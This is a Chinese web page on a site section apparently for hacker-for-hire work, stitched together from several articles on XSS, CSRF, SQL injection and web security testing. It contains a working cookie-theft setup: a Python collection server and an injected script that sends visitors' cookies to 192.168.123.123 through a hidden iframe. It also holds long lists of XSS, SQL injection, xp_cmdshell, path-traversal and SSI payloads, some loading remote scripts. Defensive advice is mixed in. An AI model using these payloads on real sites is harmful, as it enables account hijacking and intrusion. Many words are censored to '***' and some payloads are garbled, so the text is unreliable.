当前位置:首页 > 黑客接单 > 正文内容

xss的40种变形安全测试(xss攻击怎么测试)

hacker2年前 (2022-06-01)黑客接单120

本文导读目录:

前端安全方面有没有了解?xss和csrf如何攻防

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。

XSS:脚本中的不速之客

XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:

1

2

3

while (true) {

alert("你关不掉我~");

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#!/usr/bin/env python

#-*- coding:utf-8 -*-

跨站脚本注入的信息收集服务器

import bottle

app = bottle.Bottle()

plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')

app.install(plugin)

@app.route('/myxss/')

def show(cookies, db):

SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'

try:

db.execute(SQL, cookies)

except:

pass

return ""

if __name__ == "__main__":

app.run()

然后在某一个页面的评论中注入这段代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 用 script type="text/javascript"/script 包起来放在评论中

(function(window, document) {

// 构造泄露信息用的 URL

var cookies = document.cookie;

var xssURIBase = "http://192.168.123.123/myxss/";

var xssURI = xssURIBase + window.encodeURI(cookies);

// 建立隐藏 iframe 用于通讯

var hideFrame = document.createElement("iframe");

hideFrame.height = 0;

hideFrame.width = 0;

hideFrame.style.display = "none";

hideFrame.src = xssURI;

// 开工

document.body.appendChild(hideFrame);

})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。

正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。

真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的 *** 处理,简单的 *** 就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。

现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。

另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本更低而又最有效的做法。

CSRF:冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,更好的 *** 是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。

例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 *** 把发贴内容拼接成目标 URL 并访问:

http://example.com/bbs/create_post.php?title=标题content=内容

那么,我只需要在论坛中发一帖,包含一链接:

http://example.com/bbs/create_post.php?title=我是脑残content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 *** 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。

比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。

首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求 *** 对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求 *** ,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求 *** ,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。

接下来我们就可以用比较简单也比较有效的 *** 来防御 CSRF,这个 *** 就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现 *** 非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:

虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的 *** 在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。

在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。

之一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、 *** 的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。

无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。

通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。

过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个 *** 看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。

总体来说,目前防御 CSRF 的诸多 *** 还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“ *** ”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌 *** ,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的 *** ,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。

怎么利用xss渗透测试?

xss 全称跨站脚本攻击

本身不能对服务器产生影响,而是对浏览者或页面产生影响

分三种,反射型,存储型,DOM型

原理,对用户输入不过滤,导致输入信息转为JavaScript或html执行

简单用法盗取cookie,弹窗,页面跳转等,可配合csrf甚至是sql注入使用。

以上为纯理论,如何构造有效负荷请自行谷歌。

We are CLAY. No system is safe.

如何进行WEB安全性测试

安全性测试主要从以下方面考虑 主要从以下方面考虑: WEB 的安全性测试主要从以下方面考虑: Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何进行 SQL 注入测试? 首先找到带有参数传递的 URL 页面,如 搜索页面,登录页面,提交评论页面等等. 注 1:对 于未明显标识在 URL 中传递参数的,可以通过查看 HTML 源代码中的 "FORM"标签来辨别是否还有参数传递.在FORM 和/FORM的标签中间的每一个 参数传递都有可能被利用. form id="form_search" action="/search/" method="get" div input type="text" name="q" id="search_q" value="" / input name="search" type="image" src="/media/images/site/search_btn.gif" / a href="/search/" class="ebb4-de79-ac1f-7215 fl"Gamefinder/a /div /form 注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 参数或表单中加入某些特殊的 SQL 语句或 SQL 片断,如在登 录页面的 URL 中输入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1:根据实际情况,SQL 注入请求可以使用以下语句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2:为什么是 OR, 以及',――是特殊的字符呢? 例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password' 如 输入 http://duck/index.asp?username=admin' admin' or 1='1pwd=11,SQL 语句会变成以下:sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将 按下一个查询条件来执行. 接 下来是 OR 查询条件,OR 是一个逻辑运 算符, 在判断多个条件的时候, 只要一 个成立,则等式就成立,后面的 AND 就不再时行判断了,也就是 说我们绕过了密码 验证,我们只用用户名就可以登录. 如 输入 http://duck/index.asp?username=admin'--pwd=11,SQL 语 admin'-admin'-11 句会 变成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '与 admin 前面的'组成了一个查 询条件,即 username='admin',接下来的语句将按 下一个查询条件来执行 接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验 证(注:对 ACCESS 数据库 数据库无 效). 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如 果 能说明存在 SQL 安 全漏洞. 试想,如果网站存在 SQL 注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结 构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的. (2)如何预防 SQL 注入? 从应用程序的角度来讲,我们要做以下三项工作 工作: 工作 转义敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”=!-*/()|”, 和”空格”). 屏蔽出错信息:阻止攻击者知道攻击的结果 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关 键性的处理操作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将 安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验 以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就 是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序 应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.Crossscritping(XSS):(跨站点脚本攻击 跨站点脚本攻击) 2.Cross-site scritping(XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? !--[if !supportLists]--首先,找到带有参数传递的 URL,如 交评论,发表留言 页面等等。 登录页面,搜索页面,提 !--[if !supportLists]--其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试: scrīptalert(document.cookie)/scrīpt 注:其它的 XSS 测试语句 scrīptalert(document.cookie)/scrīpt ='scrīptalert(document.cookie)/scrīpt scrīptalert(document.cookie)/scrīpt scrīptalert(vulnerable)/scrīpt %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E scrīptalert('XSS')/scrīpt img src="javascrīpt:alert('XSS')" %0a%0ascrīptalert(\"Vulnerable\")/scrīpt.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp scrīptalert('Vulnerable');/scrīptgt scrīptalert('Vulnerable')/scrīpt ?sql_debug=1 a%5c.aspx a.jsp/scrīptalert('Vulnerable')/scrīpt a/ a?scrīptalert('Vulnerable')/scrīpt "scrīptalert('Vulnerable')/scrīpt ';exec%20master..xp_cmdshell%20'dir%20 c:%20%20c:\inetpub\wwwroot\?.txt'-- %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3ESESSION_ID={SESSION_ID}SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"XSS={()} IMG SRC="javascrīpt:alert('XSS');" IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert("XSS") IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert('XSS') IMG SRC="jav ascrīpt:alert('XSS');" IMG SRC="jav ascrīpt:alert('XSS');" IMG SRC="jav ascrīpt:alert('XSS');" "IMG SRC=java\0scrīpt:alert(\"XSS\")";' out IMG SRC=" javascrīpt:alert('XSS');" scrīpta=/XSS/alert(a.source)/scrīpt BODY BACKGROUND="javascrīpt:alert('XSS')" BODY ōNLOAD=alert('XSS') IMG DYNSRC="javascrīpt:alert('XSS')" IMG LOWSRC="javascrīpt:alert('XSS')" BGSOUND SRC="javascrīpt:alert('XSS');" br size="{alert('XSS')}" LAYER SRC="http://xss.ha.ckers.org/a.js"/layer LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');" IMG SRC='vbscrīpt:msgbox("XSS")' IMG SRC="mocha:[code]" IMG SRC="livescrīpt:[code]" META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');" IFRAME SRC=javascrīpt:alert('XSS')/IFRAME FRAMESETFRAME SRC=javascrīpt:alert('XSS')/FRAME/FRAMESET TABLE BACKGROUND="javascrīpt:alert('XSS')" DIV STYLE="background-image: url(javascrīpt:alert('XSS'))" DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');" DIV STYLE="width: expression(alert('XSS'));" IMG SRC=javascript:ale STYLE@im\port'\ja\vasc\ript:alert("XSS")';/STYLE IMG STYLE='xss:expre\ssion(alert("XSS"))' STYLE TYPE="text/javascrīpt"alert('XSS');/STYLE STYLE type="text/css"BODY{background:url("javascrīpt:alert('XSS')")}/STYLE BASE HREF="javascrīpt:alert('XSS');//" getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); XML SRC="javascrīpt:alert('XSS');" " BODY ōNLOAD="a();"scrīptfunction a(){alert('XSS');}/scrīpt" scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"/scrīpt IMG SRC="javascrīpt:alert('XSS')" IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode" scrīpt a="" SRC="http://xss.ha.ckers.org/a.js"/scrīpt scrīpt ="" SRC="http://xss.ha.ckers.org/a.js"/scrīpt scrīpt a="" '' SRC="http://xss.ha.ckers.org/a.js"/scrīpt scrīpt "a=''" SRC="http://xss.ha.ckers.org/a.js"/scrīpt scrīptdocument.write("SCRI");/scrīptPT SRC="http://xss.ha.ckers.org/a.js"/scrīpt A HREF=http://www.gohttp://www.google.com/ogle.com/link/A STYLE TYPE="text/css".XSS{background-image:url("javascrīpt:alert('XSS')");}/STYLEA CLASS=XSS !--#exec cmd="/bin/echo 'scrīpt SRC'"--!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js/scrīp 最后,当用户浏览 时便会弹出一个警告框,内容显示的是浏览者当前的 cookie 串,这就 说明该网站存在 XSS 漏洞。 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚 本,当用户浏览此帖时,cookie 信息就可能成功的被 攻击者获取。此时浏览者的帐号 就很容易被攻击者掌控了。 (2)如何预防 XSS 漏洞? 从应用程序的角度来讲,要进行以下几项预防: 对 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 语句或脚本进行转义. 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关 键性的处理操作. 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成 XSS 检查: 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进 行验证,着重验证是否对 HTML 或脚本代码进行了转义。 执行测试过程中也应对上述项进行检查。 3.CSRF:(跨站点伪造请求) 3.CSRF:(跨站点伪造请求) CSRF:(跨站点伪造请求 CSRF 尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,并且攻击方式 几乎相左。 XSS 是利用站点内的信任用户,而 CSRF 则通过伪装来自受信任用户的请求 来利用受信任的网站。 XSS 也好, CSRF 也好, 它的目的在于窃取用户的信息, SESSION 和 COOKIES 如 (关于 SESSION 和 COOKIES 的介绍请参见我的另一篇 BLOG: http://www.51testing.com/?49689/action_viewspace_itemid_74885.html), (1)如何进行 CSRF 测试? 关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。 (2)如何预防 CSRF 漏洞? 请参见 http://www.hanguofeng.cn/archives/security/preventing-csrf 请 参见 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(邮件标头注入 邮件标头注入) 4.Email Header Injection(邮件标头注入) Email Header Injection:如果表单用于发送 email,表单中可能包括 “subject”输入项(邮件标题),我们要验证 subject 中应能 escape 掉“\n” 标识。 !--[if !supportLists]--!--[endif]--因为“\n”是新行,如果在 subject 中输入“hello\ncc:spamvictim@example.com”,可能会形成以 下 Subject: hello cc: spamvictim@example.com !--[if !supportLists]--!--[endif]--如果允许用户使用这样的 其它用 subject, 那他可能会给利用这个缺陷通过我们的平台给其它 户发送垃 其它 圾邮件。 Traversal(目录遍历 目录遍历) 5.Directory Traversal(目录遍历) (1)如何进行目录遍历测试? 目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之 类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的 任意文件。 测试 *** : URL 中输入一定数量的 在 “../” “./” 验证系统是否 ESCAPE 和 , 掉了这些目录跳转符。 (2)如何预防目录遍历? 限制 Web 应用在服务器上的运行 进 行严格的输入验证,控制用户输入非法路径 messages(错误信息 错误信息) 6.exposed error messages(错误信息) (1)如何进行测试? 首 先找到一些错误页面,比如 404,或 500 页面。 验证在调试未开通过的情况下, 是否给出了友好的错误提示信息比如“你 访问的页面不存 在”等,而并非曝露一些程序代码。 (2)如何预防? 测试人员在进行需求检查时,应该对出错信息 进行详细查,比如是否给 出了出错信息,是否给出了正确的出错信息。

XSS攻击的定义,类型以及防御 *** ?

XXS攻击全称跨站脚本攻击,是一种在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其他使用的页面中。

XSS攻击有哪几种类型?下面就由锐速云的小编为大家介绍一下

经常见到XSS攻击有三种:反射XSS攻击、DOM-based型XSS攻击以及储存型XSS攻击。

[if !supportLists]1、[endif]反射型XSS攻击

反射性XSS一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者点击这些专门设计链接的时候,恶意代码会直接在受害主机上的浏览器上执行,反射型XSS通常出现在网站搜索栏,用户登入口等地方,常用来窃取客户端或进行钓鱼欺骗。

[if !supportLists]2、[endif]存储型XSS攻击

存储型XSS攻击也叫持久型XSS,主要将XSS代码提交储存在服务器端(数据库,内存,文件系统等)下次请求目标页面时不用在提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和 *** 解析执行,XSS攻击就发生了。储存型XSS一般出现在网站留言,评论,博客日志等交互处,恶意脚本储存到客户端或者服务端的数据库中。

[if !supportLists]3、[endif]DOM-based型XSS攻击

DOM-based型XSS攻击它是基于DOM的XSS攻击是指通过恶意脚本修改页面的DOM结构,是纯粹发生在客户端的攻击。DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端JavaScript自身的安全漏洞。

如何防御XSS攻击?

[if !supportLists]1、[endif]对输入内容的特定字符进行编码,列如表示html标记等符号。

[if !supportLists]2、[endif]对重要的cookie设置httpOnly,防止客户端通过document。cookie读取cookie,此HTTP开头由服务端设置。

[if !supportLists]3、[endif]将不可信的输出URT参数之前,进行URLEncode操作,而对于从URL参数中获取值一定要进行格式检查

[if !supportLists]4、[endif]不要使用Eval来解析并运行不确定的数据或代码,对于 *** ON解析请使用 *** ON。Parse() ***

[if !supportLists]5、[endif]后端接口也应该要做到关键字符过滤的问题。

如何防范XSS跨站脚本攻击测试篇

不可信数据 不可信数据通常是来自HTTP请求的数据,以URL参数、表单字段、标头或者Cookie的形式。不过从安全角度来看,来自数据库、 *** 服务器和其他来源的数据往往也是不可信的,也就是说,这些数据可能没有完全通过验证。 应该始终对不可信数据保持警惕,将其视为包含攻击,这意味着在发送不可信数据之前,应该采取措施确定没有攻击再发送。由于应用程序之间的关联不断深化,下游直译程序执行的攻击可以迅速蔓延。 传统上来看,输入验证是处理不可信数据的更好办法,然而,输入验证法并不是注入式攻击的更佳解决方案。首先,输入验证通常是在获取数据时开始执行的,而此时并不知道目的地所在。这也意味着我们并不知道在目标直译程序中哪些字符是重要的。其次,可能更加重要的是,应用程序必须允许潜在危害的字符进入,例如,是不是仅仅因为SQL认为Mr. O'Malley名字包含特殊字符他就不能在数据库中注册呢? 虽然输入验证很重要,但这始终不是解决注入攻击的完整解决方案,更好将输入攻击作为纵深防御措施,而将escaping作为首要防线。 解码(又称为Output Encoding) “Escaping”解码技术主要用于确保字符作为数据处理,而不是作为与直译程序的解析器相关的字符。有很多不同类型的解码,有时候也被成为输出“解码”。有些技术定义特殊的“escape”字符,而其他技术则包含涉及若干字符的更复杂的语法。 不要将输出解码与Unicode字符编码的概念弄混淆了,后者涉及映射Unicode字符到位序列。这种级别的编码通常是自动解码,并不能缓解攻击。但是,如果没有正确理解服务器和浏览器间的目标字符集,有可能导致与非目标字符产生通信,从而招致跨站XSS脚本攻击。这也正是为所有通信指定Unicode字符编码(字符集)(如UTF-8等)的重要所在。 Escaping是重要的工具,能够确保不可信数据不能被用来传递注入攻击。这样做并不会对解码数据造成影响,仍将正确呈现在浏览器中,解码只能阻止运行中发生的攻击。 注入攻击理论 注入攻击是这样一种攻击方式,它主要涉及破坏数据结构并通过使用特殊字符(直译程序正在使用的重要数据)转换为代码结构。XSS是一种注入攻击形式,浏览器作为直译程序,攻击被隐藏在HTML文件中。HTML一直都是代码和数据最差的mashup,因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的,因为它不仅是层次结构的,而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻击与XSS的关系,必须认真考虑HTML DOM的层次结构中的注入攻击。在HTML文件的某个位置(即开发者允许不可信数据列入DOM的位置)插入数据,主要有两种注入代码的方式: Injecting UP,上行注入 最常见的方式是关闭现有的context并开始一个新的代码context,例如,当你关闭HTML属性时使用"并开始新的 可以终止脚本块,即使该脚本块被注入脚本内 *** 调用内的引用字符,这是因为HTML解析器在JavaScript解析器之前运行。 Injecting DOWN,下行注入 另一种不太常见的执行XSS注入的方式就是,在不关闭当前context的情况下,引入一个subcontext。例如,将改为 ,并不需要躲开HTML属性context,相反只需要引入允许在src属性内写脚本的context即可。另一个例子就是CSS属性中的expression()功能,虽然你可能无法躲开引用CSS属性来进行上行注入,你可以采用x ss:expression(document.write(document.cookie))且无需离开现有context。 同样也有可能直接在现有context内进行注入,例如,可以采用不可信的输入并把它直接放入JavaScript context。这种方式比你想象的更加常用,但是根本不可能利用escaping(或者任何其他方式)保障安全。从本质上讲,如果这样做,你的应用程序只会成为攻击者将恶意代码植入浏览器的渠道。 本文介绍的规则旨在防止上行和下行XSS注入攻击。防止上行注入攻击,你必须避免那些允许你关闭现有context开始新context的字符;而防止攻击跳跃DOM层次级别,你必须避免所有可能关闭context的字符;下行注入攻击,你必须避免任何可以用来在现有context内引入新的sub-context的字符。 